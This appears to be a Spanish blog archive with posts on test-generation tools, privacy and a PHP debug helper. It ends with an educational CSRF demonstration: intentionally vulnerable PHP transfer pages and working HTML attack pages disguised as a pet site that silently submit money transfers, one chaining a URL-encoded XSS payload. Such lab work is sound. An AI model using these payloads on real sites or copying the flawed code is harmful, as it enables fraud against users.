    // Regression assertion (captures the current behavior of the code)
    assertTrue(var5 == true);
}


Hay que elegir una clase, right click -> Run as Randoop test input, poner un criterio de stop, algunos maximums y ejecutar. En el package/name provisto se generarán los test.


Tiene varias utilidades:

  • Teniendo tests, ver si no hay algún errorcito extra por ahi.
  • A partir de una implementación correcta pero ineficiente, tener una referencia para optimizarla.
  • A partir de una implementación ajena, tener una referencia para reimplementarla. ¡Ups!, ¿no será ilegal?
  • Testear código legacy, aunque con algunas restricciones. Si este código legacy no tiene tests, por algo será, ¿no? Probablemente tenga interdependencias y partes no mockeables que pueden imposibilitar la ejecución. Nada mejor que correr secuencias interminables de código al azar sobre un sistema en producción conectado a una base de datos.


Instalación


Bajar el jar y ponerlo en plugins

Jumble


Herramienta de code mutation.

Lo que hace es dada una clase y su testcase, cambiar en la clase algunas cosas como operadores aritméticos y lógicos y ejecutar el test. Si no falla, considera que está mal el test.

Sólo hay que elegir una clase, right click y "jumble class".

Al usar Parametrized Test Classes, me encontré con un problema. Como resuelve la clase de test por convención de nombres, hay que poner en un solo testcase los test parametrizados y los no parametrizados, lo que produce una ejecución de los tests no parametrizados repetida tantas veces como los parámetros, totalmente innecesaria. Hay una anotación, @TestClass, pero no logré que la respete ni apuntando a uno y otro test ni a una test suite con ambos.

Instalación


bajar el zip y copiar

cp -r jumble_1_1_0/eclipseplugin/plugin-export/jumble eclipse/plugins/

Korat


Herramienta para generar datos de entrada para test exhaustivos acotados.

Supongamos que queremos probar algún método con arrays de 4 posiciones con 4 valores. Se pueden generar todas las combinaciones sin problemas. Ahora bien, si la estructura es más compleja, como un árbol, la cosa se complica pues ya no sólo hay que generar los datos si no la estructura, lo cual produce varios inconvenientes:

  • muchas combinaciones
  • resultados redundantes (si tienen la misma forma, ¿que me importan los nodos en si?)
  • hay estructuras que pueden ser inválidas (loops, desconexiones)
  • pueden haber otros constraints, como que los datos estén ordenados en un árbol binario de búsqueda.

Korat, mediante una invariante y una breve descripción, puede generar estructuras válidas, no redundantes.



La mejor (única) manera que encontré de usar korat es bajar el snapshot del svn y agregar a examples la clase a analizar, luego se llama como en los ejemplo provistos, pero usando nuestra clase.

java -cp korat.jar korat.Korat --class korat.examples.colas.ColaSobreListasEnlazadas --args 4,0,1 --visualize

Los ejemplos son muy claros para estructuras, pero no hallé la manera de poblar los nodos de las estructuras cuando estos usaban objetos genéricos.

En eclipse he agregado korat.jar al build path para autocompletar con todo éxito.

Intenté usar un plugin de korat para eclipse, korattester, pero no funciona.

Instalación


svn co https://korat.svn.sourceforge.net/svnroot/korat/trunk/ korat


Pex


Este es el que menos pude investigar, ya que es para .NET.

No tengo nada que decir, sólo que pex4fun es muy divertido, si sos nerd.

Referencias


[eci n2] http://www.dc.uba.ar/events/eci/2012/cursos/aguirre

[docente]  http://dc.exa.unrc.edu.ar/staff/naguirre/Pagina_personal_de_Nazareno_Aguirre/Principal.html

[practica] https://sites.google.com/site/genunittests/


[java] http://www.oracle.com/technetwork/java/javase/downloads/index.html

[eclipse] http://www.eclipse.org

[codecover] http://codecover.org/

[codecover eclipse] http://update.codecover.org/

[randoop] http://code.google.com/p/randoop/

[randoop eclipse] http://randoop.googlecode.com/hg/plugin.updateSite/

[jumble] http://jumble.sourceforge.net/

[korat] http://korat.sourceforge.net/

[korattester] http://code.google.com/p/korattester/

[pex] http://research.microsoft.com/en-us/projects/pex/

[pex for fun] http://www.pexforfun.com

[pex standalone download] http://research.microsoft.com/en-us/downloads/d2279651-851f-4d7a-bf05-16fd7eb26559/default.aspx

domingo, 29 de julio de 2012

Privacidad y buenas intenciones


BABYLSCRIPT


Cuando me dispuse a criticar la iniciativa de traducir el lenguaje de programación javascript a una docena de idiomas [babylscript], consulté a diversas personas intentando traer agua a mi molino o al menos quitar las piedras y me encontré con que el agua vino con piedras y como no soy un experto en lingüistica, sociología, sicología ni aprendizaje y sólo tengo mi experiencia propia en varios lenguajes y paradigmas de programación, no puedo hacer una Gran Teoría. [Argerich][docentes][embed32]

Mi idea era decir algo asi como "Si una persona tiene dificultad en comprender un lenguaje de programación, no pienso que sea por los símbolos del lenguaje, aunque pueda ayudar, sin duda es más sencillo para alguien que usa un alfabeto latino que para el resto, pero aún así, la dificultad principal está en comprender la programación.", que es algo que a mi me parece razonable pero no puedo sustentar mediante opiniones expertas.

Esto me fuerza a ir a las piñas sin pensar mucho, al grano. Cito: "Babylscript allows people to write programs in a mix of different languages. A programmer can take a library written in French, mix it with their own program written in Spanish, and use code snippets they found on a Chinese help forum"


Asi que ahora no sólo hay que comprender un lenguaje, sino... ¡doce! ¿Cómo hago para saber que 
 
если
إذا
যদ্যপি
如果
अगर
もし
만약
dacă
wenn
se
si
if

son todo lo mismo? Yo entiendo sólo los tres últimos, si el código viene en coreano, no tengo ninguna manera de saber que hace, es como si me dieran código objeto, ya compilado. Esto no sirve para integrar, sólo para fragmentar. A medida que las comunidades crezcan, comenzarán a separarse. No quiero ponerme bíblico, pero es realmente Babel, aunque el castigo se recibe al poner el cimiento, no al alcanzar el cielo.

Lo que el párrafo citado dice es "usá código que suponés que hace lo que dice la documentación", pero ¿en qué idioma está esa documentación?, tendríamos que establecer un idioma común para la documentación, para poder compartir nuestros componentes.


Aunque a muchos no les guste, el idioma inglés es el idioma común al menos de la tecnología. ¿Es eso justo y democrático? Pues a aprender chino.

Sin embargo, no se puede negar que esta iniciativa tiene algo bueno, se acabó eval().


Pero...


...supongo que a esta altura cualquiera se preguntará que tiene que ver que unos pobres infelices reescriban javascript en un montón de idiomas con el título "privacidad". ¿Por que me estoy ensañando con gente bien intencionada con la cual ni siquiera me he contactado (ni lo voy a hacer) para advertirles del peligro que implican para la humanidad programadora?

Caso dos


En el año 1930, en Holanda se hizo un censo y uno de los datos era religión. La intención de los encuestadores era poder dar entierro de acuerdo a sus creencias a quien muriera careciendo de parientes [censo]. Cuando en el año 1940 los alemanes invadieron, se apoderaron de este censo y lo usaron para sus fines. Vemos aqui de modo mucho más concreto y "definitivo" como las buenas intenciones pueden traer consecuencias imprevistas y desagradables.

Caso tres: Amo de tus silencios, esclavo de tus twits


Para este caso, del cual disto tanto como de los otros ser descubridor, no voy a citar fuentes ya que sobran. 

Cuando al hablar decís algo, ya es tarde, lo has dicho, quienes te escucharon lo tienen en sus mentes, quizas se olviden, probablemente. De todos modos, la gente tergiversa sus recuerdos, no es tan terrible. Uno debe cuidar lo que dice, pero no podemos estar todo el día tan pendientes, hay que vivir.

Cuando escribís algo en papel (sin computadora de por medio), aunque es más fidedigno, ese papel y sus fotocopias se pueden perder, deteriorar, son difíciles de hallar y de relacionar. Hay que prestar un poquito más de atención, no firmar cheques en blanco. De todos modos, el escribir en papel permite tomarse su tiempo, reflexionar sobre lo que se va a decir.

Escribir en la computadora es parecido, salvo que no tenés nunca certeza de que no haya un bichito tomando nota o que el editor que usas no deje temporarios que luego puedan recuperarse.

Cuando das el salto final y ponés tu información en Internet, la que nunca olvida, perdés completamente el control sobre ella y además puede ser increiblemente fácil de encontrar.

Cuando ponés información personal en tu blog, facebook, twitter, le estás dando a la posteridad la capacidad de conocerte, lo cual en términos filosóficos y sensibles podría ser bueno, lograste una cierta trascendencia, salvo que, como dijo Syndrome: "Everyone can be super! And when everyone's super... [chuckles evilly] no one will be." [Syndrome]

No sólo la posteridad te conoce, tambien te conoce la banda de criminales informáticos que te hace un spear phishing, la de criminales comunes que te vacía la casa cuando tu GeoTrackMe.com dice que estás ausente.

No estoy cuestionando la actividad profesional o académica, sería incoherente de mi parte estar escribiendo esto. Se hace una evaluación de riesgo, que ganás y que perdés al poner tu cv en linkedin, al opinar en un foro profesional. En esos casos obtener trabajo en el futuro, compartir información o enseñar algo, que es la mejor manera de aprender.

Cuando dás tu ubicación, tus gustos y relaciones personales, supongo que lo hacés por relaciones personales, para alimentar tu ego, para no ser menos que el resto. Por mi está ok, pero ¿hiciste una evaluación de riesgo?

Quien no me crea, que use Internet contra si mismo, a ver que resultados consigue.


Referencias:

  • [babylscript] http://www.babylscript.com/
  • [Docentes - mi pregunta] "Se podría afirmar que es más fácil cambiar de lenguaje (Haskell <-> Erlang, C <-> Pascal, Asm Pic <-> Asm 360, Java <-> C++) que de paradigma (bajo nivel, estructurado, objetos, funcional)?"

  • [embeb32 - mi pregunta] "¿Se podría afirmar que quien aprende a programar en assembler de cualquier arquitectura tiene menos dificultad en cambiar de arquitectura que en cambiar de paradigma? Por ejemplo pasar de Asm 360 a Asm Pic vs. pasar de assembler a programación funcional." https://groups.google.com/forum/?hl=es#!topic/embebidos32/ckFwftHsd5U
  • [Argerich - correspondencia privada] "En base a mi filosofia de que los paradigmas de programacion en realidad no existen y son solo una excusa para vender libros, cursos y demas cuestiones diria que no. Desde la epoca del Fortran que programar es meter una linea de codigo debajo de otra, es el area de la computacion mas estancada por lejos."
  • [censo holanda] http://en.wikipedia.org/wiki/History_of_the_Netherlands_%281939%E2%80%931945%29#High_Jewish_death_toll
  • [censo] Lamentablemente de esto no tengo la cita precisa, pués me parece que lo leí hace mucho en algún diario, pero no recuerdo bien.  Me contó alguien que lo vió en un documental sobre Internet de la BBC, emitido en Film&Arts, ya lo voy a encontrar.
  • [Syndrome] http://www.imdb.com/title/tt0317705/quotes

jueves, 12 de julio de 2012

Wrapper para php debug_backtrace()

Cada tanto me encuentro con la necesidad de debuggear symfony y con sus bellos e interminables objetos var_dump() no es opción, asi que cada tanto reinvento la rueda y confecciono algo como esta clase. Lo comparto con quien quiera y con mi mismo.

Lo que hace es al encontrar 
  • objetos poner la clase
  • arrays poner la longitud
y otras cosas que ahora no recuerdo, a medida que la vuelva a usar, la mejoraré
<?php
/**
 * back_trace() prettifier
 * @author Carlos Pantelides
 * @license use and give credit where credit is due
 * @date 2006-2012
 * @todo add css
 */
class DebugUtil {
  static public function backTrace($drop=0) {
    $knownObjects = array();
    $objectCount = 0;
    $delim="\n";
    $bt = debug_backtrace();
    for ($i=0; $i<=$drop;$i++) {
      unset($bt[$i]);
    }
   
    foreach ($bt as $key=>$level) {
      if (isset($level['object'])) {
        unset($bt[$key]['object']);
      }
      foreach($level['args'] as $subkey =>$arg) {
        if (is_object($arg)) {
          $objectId=spl_object_hash($arg);
          if (! array_key_exists($objectId,$knownObjects)) {
            $knownObjects[$objectId]=$objectCount;
            $objectCount++;           
          }
          $id = sprintf('%03d',$knownObjects[$objectId]);
          @$bt[$key]['fixedArgs'].='OBJECT('.get_class($arg)."):$id, ";
        } else if (is_array($arg)) {
          @$bt[$key]['fixedArgs'].='ARRAY('. sizeof($arg).'), ';
        } else if (is_resource($arg)) {
          @$bt[$key]['fixedArgs'].='RESOURCE, ';
        } else if (is_null($arg)) {
          @$bt[$key]['fixedArgs'].='NULL, ';
        } else if (is_string($arg)) {
          @$bt[$key]['fixedArgs'].="'$arg', ";
        } else {
          $bt[$key]['fixedArgs'].="$arg, ";
        }
      }
      @$bt[$key]['fixedArgs']=substr($bt[$key]['fixedArgs'],0,-2);
    }
    $result='';
    foreach ($bt as $key=>$level) {
      $result .= $level['class'] . '::' . $level['function'] .
      '(' . $level['fixedArgs'] .') @' . $level['file'] . ':'.
      $level['line'].$delim;
    }
    return $result;
  }
 
  /**
   * Symfony 1.4
   * @param mixed $var
   * 
   */
  public static function vardumpLog($var) {
      $logger = sfContext::getInstance()->getLogger();
      $logger->info(
print_r($var,1));     
  }
}

lunes, 2 de julio de 2012

Layer 8 CSRF protection

(partial english version below)

En [1] dije que no iba a explicar lo que era CSRF y me arrepiento, pues a raiz de los diálogos offline generados, he descubierto que el grado de incomprensión del ataque es mayor al que suponía. Pero es tan solo el resultado de la falta de conocimiento técnico general más que del ataque en si.


Es verdad que para la mayor parte de las actividades informáticas no hace falta un conocimiento profundo. No estoy diciendo que yo tenga un conocimiento profundo de nada, pero me asusta cuando entiendo mejor que quien supongo entiende mejor que yo.


Esto me da una tenue excusa para relatar una experiencia en el reciente Agile Open Software Libre [2]. En el marco de una sesión cuya convocatoria por parte de Ezequiel Maraschio era algo cercano a "Como se organiza cada uno en sus actividades personales", casi, si no totalmente offtopic, mencioné que me resultaba mucho más efectivo para comprender algo desconectarme de google y sólo utilizar man, manuales y libros. Comenté como esta manera la había descubierto estudiando threads en C para la facultad e intentaba usarla en toda ocasión.


Una persona, Victor creo recordar, dijo que ese modo era más lento y yo lleno de gozo le respondí que era exactamente el mismo argumento que se utiliza contra el testeo durante el desarrollo en general y TDD en particular.


Antes que nadie diga nada, convenimos en que para trouble shooting google si es útil y obviamente para encontrar los manuales.

A lo que voy es que para RAD el cortar y pegar código ajeno puede ser muy efectivo, pero luego el collage/palimpsesto traidor resultante se nos vuelve en contra y entramos en la carrera de babosas. Hay que comprender.

Volviendo a CSRF, que es de lo que veniamos hablando, he escuchado personas diciendo a) "este ataque no es posible si hay https" o b) "tenemos un wizard con un workflow en el cual controlamos que se hayan hecho los pasos anteriores".

Ya que no voy a explicar CSRF, al menos voy a desmitificar:

a) Si decimos que con CSRF "forzamos" al navegador del usuario a hacer llamadas a un servicio utilizando la sesión autenticada ya establecida, implica el canal seguro ya establecido, ¿no? Para chocar con la dura realidad, me he tomado el trabajo de probarlo y ha funcionado como seda.

Puedo afirmar tanto teórica como empíricamente que https no protege de CSRF.

b) Si miramos el flujo de parámetros del workflow y no hay un secretito, no hay clippo, ni perrito, ni mago barbudo que valga, el ataque es exitoso. Es verdad que es más complicado, según se ve en la POC wizard, más abajo.

De paso entrego el código que mezquinamente negué antes en [1].

Si se consultara el referer, para estas POCs el ataque fallaría. Pero esto es porque estamos viendo la vulnerabilidad de modo aislado, que es la mejor manera de comprenderla. Si el sitio además tiene XSS [3][4], depende de como se controle el referer, quizas tambien se pueda tener éxito, como en POC XSS+CSRF vs Referer

Partial english version



During an Agile Open event[2], I said that using man, manuals and books is a better way to understand than googling. A guy told me that that path is slower and I answered that that is the same argument against testing and TDD. Nevertheless, google is the best trouble shooter.

Later, talking with some people about [1], I've found out that there are at least to myths:

a) "https protects against CSRF". Theory does not say so, and if you configure a https server and use any of the given examples, you will check by yourself what the truth is.

b) "We have a wizard that checks that you did all the steps". If you examine the workflow's parameters and you can not find any little dirty secret, CSRF wins.

Checking the referer is a mitigation against CSRF, but if the site happens to be vulnerable to XSS[3], [4], you are in the owen again.


POC Https csrfed

Acá no hay nada que POCear, sólo hay que configurar un servidor con https y ajustar cualquiera de los ejemplos.

Sitio vulnerable

 

[../good/login.php]

<?php

session_start();

if (isset($_SESSION['auth']) || isset($_REQUEST['clave']) && $_REQUEST['clave'] == "1234") {
    $_SESSION['auth'] = 1;
    if (isset($_GET['paso']) ) {
        # XSS entry point
        $paso = $_GET['paso'];
    } else {
        $paso = 0;
    }

?>
<h3>Transferencia sin control de referer</h3>
<form method="post" action="transferencia.php">
<input name="origen" value="origen"/><br/>
<input name="destino" value="destino"/><br/>
<input name="valor" value="valor"/><br/>
<input name="detalle" value="legitimo"/><br/>
<input type="submit" value="transferir"</input>
<input name="paso" type="hidden" value="<?php print $paso; ?>"</input>

</form>

<br/>
<h3>Transferencia con control de referer</h3>
<form method="post" action="transferencia_referer.php">
<input name="origen" value="origen"/><br/>
<input name="destino" value="destino"/><br/>
<input name="valor" value="valor"/><br/>
<input name="detalle" value="legitimo"/><br/>
<input type="submit" value="transferir"</input>
<input name="paso" type="hidden" value="<?php print $paso; ?>"</input>
</form>
<br/>

<h3>Transferencia con wizard</h3>
<form method="post" action="transferencia_confirmacion.php">
<input name="origen" value="origen"/><br/>
<input name="destino" value="destino"/><br/>
<input name="valor" value="valor"/><br/>
<input name="detalle" value="legitimo"/><br/>
<input type="submit" value="transferir"</input>
<input name="paso" type="hidden" value="1"</input>
</form>

<?php

    } else {
?>
<form method="post">
<input name="clave">clave</input>
<input type="submit" value="entrar sistema"</input>

</form>
<?php
}
if (isset($_REQUEST['clave']) && $_REQUEST['clave'] != "1234") {
   print("mal clave");

}

[../good/transferencia_confirmacion.php]

<?php

session_start();

if (isset($_SESSION['auth'])) {
  print "autenticado<br>";
  if (isset($_POST['paso'])) {
    if ($_POST['paso']==1) {
      print "usted pretende transferir de ".$_POST['origen']." a ".$_POST['destino'];
      print " $". $_POST['valor']. "<br/>";
?>
      <form method="POST">
         <input name="origen" type="hidden" value="<?php print $_POST['origen']; ?>"/><br/>
         <input name="destino" type="hidden" value="<?php print  $_POST['destino']; ?>"/><br/>
         <input name="valor" type="hidden" value="<?php print $_POST['valor']; ?>"/><br/>
         <input name="detalle" type="hidden" value="<?php print $_POST['detalle']; ?>"/><br/>
         <input type="submit" value="confirmar"</input>
         <input name="paso" type="hidden" value="2"</input>
     </form>

<?php
        } else if ($_POST['paso']==2) {
            print "transferencia de " . $_POST['origen'] . " a " . $_POST['destino'];
            print " $". $_POST['valor']. "<br/>";

        } else {
            print "Error de protocolo 2";
        }
    } else {
        print "Error de protocolo 1";
    }
} else {
    print "tomatelas, no autenticado";
}
print "<br/> <br/>COOKIE['PHPSESSID']: " . $_COOKIE['PHPSESSID'];
print "<br/> REFERER: " . $_SERVER['HTTP_REFERER'];

[../good/transferencia.php]

<?php

session_start();

if (isset($_SESSION['auth'])) {
    print "autenticado<br>";
    if (isset($_POST['origen'])) {
        print "transfiriendo de " . $_POST['origen'] . " a " . $_POST['destino'];
        print " $". $_POST['valor']. "<br/>";
        print "canal via post: " . $_POST['detalle'];
    } else {
        print "transfiriendo de " . $_GET['origen'] . " a " . $_GET['destino'];
        print " $". $_GET['valor']. "<br/>";
        print "canal via get: " . $_GET['detalle'];
    }
} else {
    print "tomatelas, no autenticado";
}
print "<br/> <br/>COOKIE['PHPSESSID']: " . $_COOKIE['PHPSESSID'];
print "<br/> REFERER: " . $_SERVER['HTTP_REFERER'];


[../good/transferencia_referer.php]

<?php

session_start();

if (isset($_SESSION['auth'])) {
    print "autenticado<br/>";
    if (isset($_SERVER['HTTP_REFERER']) 
       && strstr($_SERVER['HTTP_REFERER'],"http://csrf.good.com:60001/login.php" ) ) {
         print "referido<br/>";
         if (isset($_POST['origen'])) {
            print "transfiriendo de " . $_POST['origen'] . " a " . $_POST['destino'];
            print " $". $_POST['valor']. "<br/>";
            print "canal via post: " . $_POST['detalle'];
         } else {
            print "transfiriendo de " . $_GET['origen'] . " a " . $_GET['destino'];
            print " $". $_GET['valor']. "<br/>";
            print "canal via get: " . $_GET['detalle'];
         }
     } else {
         print "tomatelas, mal referer";
     }
} else {
    print "tomatelas, no autenticado";
}
print "<br/> <br/>COOKIE['PHPSESSID']: " . $_COOKIE['PHPSESSID'];
print "<br/> REFERER: " . $_SERVER['HTTP_REFERER'];


POC indiscreto

   [linda_mascota_01_indiscreta.html]

<html>
<head><title>Mascota inofensiva en evil.com</title>
</head>
<body>
<h1>Encantador sitio de mascotas bonitas</h1>
<img src="cat2.jpeg" /><img src="cat1.jpeg" /><img src="cat3.jpeg" /><br />
<iframe height="0" width="0" src="http://csrf.good.com:60001/transferencia.php?origen=cuenta_cliente&destino=cuenta_desconocida&va
lor=1000pe&detalle=GET"
</iframe>
<iframe name=ifr width="0" height="0"></iframe>
<script>
document.write(
'<div style="display:none">' +
'<form target=ifr id=csrf method=post action="http://csrf.good.com:60001/transferencia.php">' +
'<input name="origen" value="cuenta_cliente" />' +
'<input name="destino" value="cuenta_destino" />' +
'<input name="valor" value="50pe" />' +
'<input name="detalle" value="POST" />' +
'</form>'+
'</div>')
document.getElementById("csrf").submit()
</script>
</body>
</html>

POC discreto


[linda_mascota_02_discreta.html]

<html>
<head><title>Mascota inofensiva en evil.com</title>
</head>
<body>
<h1>Encantador sitio de mascotas bonitas</h1>
<img src="cat2.jpeg" /><img src="cat1.jpeg" /><img src="cat3.jpeg" /><br />
<iframe name=ifr height="0" width="0"></iframe>
<script>
document.write(
'<div style="display:none">' +
'<form target=ifr id=csrf method=post action="http://csrf.good.com:60001/transferencia.php">' +
'<input name="origen" value="cuenta_cliente" />' +
'<input name="destino" value="cuenta_destino" />' +
'<input name="valor" value="50pe" />' +
'<input name="detalle" value="POST invisible" />' +
'</form>'+
'</div>')
document.getElementById("csrf").submit()
</script>
</body>
</html>

POC Referer failure

[linda_mascota_03_fail_referer.html]

<html>
<head><title>Mascota inofensiva en evil.com</title></head>
<body>
<h1>Encantador sitio de mascotas bonitas</h1>
<img src="cat2.jpeg" /><img src="cat1.jpeg" /><img src="cat3.jpeg" /><br />
<iframe name=ifr height="0" width="0"></iframe>
<script>
document.write(
'<div style="display:none">' +
'<form target=ifr id=csrf method=post action="http://csrf.good.com:60001/transferencia_referer.php">' +
'<input name="origen" value="cuenta_cliente" />' +
'<input name="destino" value="cuenta_destino" />' +
'<input name="valor" value="50pe" />' +
'<input name="detalle" value="POST invisible" />' +
'</form>'+
'</div>')
document.getElementById("csrf").submit()
</script>
</body>
</html>

POC XSS+CSRF vs Referer


[linda_mascota_04_xss_referer.html]

<html>
<head><title>Mascota inofensiva en evil.com</title>
</head>
<body>
<h1>Encantador sitio de mascotas bonitas</h1>
<img src="cat2.jpeg" /><img src="cat1.jpeg" /><img src="cat3.jpeg" /><br />
<iframe name=ifr height="0" width="0" src="http://csrf.good.com:60001/login.php?paso=1%22%3E%3C/input%3E%3C/form%3E%3Cscript%3Edocument.write%28%27%3Cdiv+style%3D%22display%3Anone%22%3E%3Cform+target%3Difr+id%3Dcsrf+method%3Dpost+action%3D%22http%3A//csrf.good.com%3A60001/transferencia_referer.php%22%3E%3Cinput+name%3D%22origen%22+value%3D%22cuenta_cliente%22+/%3E%3Cinput+name%3D%22destino%22+value%3D%22cuenta_destino%22+/%3E%3Cinput+name%3D%22valor%22+value%3D%2250pe%22+/%3E%3Cinput+name%3D%22detalle%22+value%3D%22POST+invisible%22+/%3E%3C/form%3E%3C/div%3E%27%29%3Bdocument.getElementById%28%22csrf%22%29.submit%28%29%3B%3C/script%3E%3Cinput+type%3D%22hidden%22%3E"></iframe>
</body>
</html>






POC Wizard



[linda_mascota_05_pasos.html]

<html>
<head><title>Mascota inofensiva en evil.com</title></head>
<body>
<h1>Encantador sitio de mascotas bonitas</h1>
<img src="cat2.jpeg" /><img src="cat1.jpeg" /><img src="cat3.jpeg" /><br />

<iframe name=ifr_1 height="0" width="0"></iframe>
<iframe name=ifr_2 height="0" width="0"></iframe>
<script>
document.write(
'<div style="display:none">' +
'<form target=ifr_1 id=csrf_1 method=post action="http://csrf.good.com:60001/transferencia_confirmacion.php">' +
'<input name="origen" value="cuenta_cliente" />' +
'<input name="destino" value="cuenta_destino" />' +
'<input name="valor" value="50pe" />' +
'<input name="paso" value="1" />' +
'<input name="detalle" value="POST invisible" />' +
'</form>'+
'</div>');
document.write(
'<div style="display:none">' +
'<form target=ifr_2 id=csrf_2 method=post action="http://csrf.good.com:60001/transferencia_confirmacion.php">' +
'<input name="origen" value="cuenta_cliente" />' +
'<input name="destino" value="cuenta_destino" />' +
'<input name="valor" value="50pe" />' +
'<input name="paso" value="2" />' +
'<input name="detalle" value="POST invisible" />' +
'</form>'+
'</div>');

document.getElementById("csrf_1").submit()
console.log("primer paso");
setTimeout( function() {
    document.getElementById("csrf_2").submit();
    console.log("segundo paso");
}, 10000);
</script>


que te diviertas!!!!
  


[1] http://seguridad-agile.blogspot.com.ar/2012/06/client-side-csrf-protection.html

[2] https://sites.google.com/site/comunidadagiles/agile-open-tour/agile-open-bs-as-software-libre-2012

[3] https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29

[4] http://en.wikipedia.org/wiki/Cross-site_scripting